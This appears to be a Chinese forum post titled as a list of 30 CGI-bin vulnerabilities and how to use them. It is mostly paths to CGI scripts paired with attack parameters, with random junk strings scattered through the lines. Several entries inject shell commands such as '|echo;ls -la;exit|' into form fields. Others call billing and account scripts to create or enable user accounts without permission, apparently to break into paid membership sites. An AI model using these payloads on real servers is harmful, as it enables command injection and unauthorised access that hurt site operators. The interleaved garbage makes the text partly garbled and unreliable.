Cgi-bin 30个漏洞＋使用方法

admin

==============================
, Q, q8 e) T; W. P  Z/ R
/smspass.pl
username=username&password=password

/index.cgi
8 T% i1 |( Z3 c2 B+ m8 ^, U# v, Hwei=ren&gen=command

/passmaster.cgi
+ f7 T  Q( [% P  u" S% Y/ XAction=Add&Username=Username&Password=Password
6 r: o1 l2 {: \' F
' k4 C1 Z5 W% h* R( H/accountcreate.cgi
; ^4 l" |* h; o* X6 Y& Vusername=username&password=password&ref1=|echo;ls|
& K1 c4 o3 }9 m$ z
/ X7 P$ u% s# J/ w% e, V/form.cgi
; F& b3 d+ T' bname=xxxx&email=email&subject=xxxx&response=|echo;ls|
- [8 L5 o6 |- M9 i8 d3 ^4 q
/addusr.pl
& r& e5 i9 l; e  F  C% v, l5 S/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

  L' J1 b2 J% d$ A& E/ccbill-local.asp
post_values=username:password
& @) s' z' g% U& e  r+ C! A
/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
3 M9 F. J, s4 ^7 P* K) @& b/recon.cgi?search
3 o6 L5 d$ v+ x6 s2 p/ O7 csearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

+ k* H( r0 N. }4 s% |4 O. c/ b2 c/af.cgi
_browser_out=|echo;ls -la;exit;|
$ f, }  N$ ^$ [
+ Y# F% M1 o5 \* E) O/modify.cgi
username=username&password=password&expire=30
  r, |/ `2 P, g9 A
6 n3 ^0 V8 O6 |% I$ a9 n# j/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
# y0 K% ?  U* {
/gx9passwd.cgi
5 h: a7 i7 l% Qcmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password
- ]6 \4 R: h9 q! E/ ~6 p# s% n
0 p5 E' X; f( B( e/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
6 v" P; S  p& p3 q4 Hcmd=ADD&user=username&pass=password
+ m- j# p0 Q2 [, S" c
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
% z% x/ Q) }8 ?
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

7 q3 o- ?& `+ M5 I! a, A' g6 C: {/globill_ut.cgi
3 Y6 R$ E  @( G, bdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
- |4 [0 H" l' J- d* Vcommand=enable&username=USER&password=PASS

; g  ^" |" l  Q( {2 q. {+ ?" ^/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
7 p3 o6 R% p- J# v5 Wuser=USER&pass=PASS&confirm=PASS
( P* R0 b  B/ W2 @, b
/pincount.cgi
8 i" G- p7 |8 K7 X/cgi-bin/mastergate/pincount.cgi
! K6 [1 N$ c% Q$ W2 X( Bpinfile=|echo;pwd;exit|
9 X( V" W$ I% Q8 a. X$ B6 w, k
/accountcreate.cgi
8 Q$ p9 X. J/ K, _/cgi-bin/gateway/accountcreate.cgi
  ?, O4 {2 C( busername=username&password=password&password2=password&ref1=|echo;ls -al;exit

) c2 p! p% L# l) s( b, A& p/af.cgi
6 c; S: t9 D6 b; W/env.cgi
ADD+;echo;pwd;exit
& [4 g  [7 y% ^) P/ z( v
6 [+ x0 Q; P" ]/count.cgi
pinfile=|echo;pwd;exit|
$ M! u* O) m; y0 M4 [( I
; C  }- a( q2 v8 n' F" Z/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

==============================